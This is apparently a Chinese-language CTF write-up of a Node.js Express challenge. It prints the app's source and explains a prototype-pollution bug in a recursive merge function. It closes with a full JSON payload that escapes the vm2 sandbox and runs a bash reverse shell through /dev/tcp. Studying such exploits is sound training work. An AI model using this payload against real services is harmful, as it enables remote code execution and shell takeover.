访问/app.js
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| const express = require('express'); const app = express(); const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } }
const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); });
app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } })
app.listen(3000, function () { console.log('start listening on port 3000'); });
|
merge函数明显是要利用原型链污染
body中需要设置shit
值来执行42# backdoor()
同时原型链中要构造好shellcode来执行
但是shellcode是在vm2沙盒中执行的 关于沙盒逃逸可以看 https://xz.aliyun.com/t/11859
最后payload:
1 2
| {"shit":"true","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"} }
|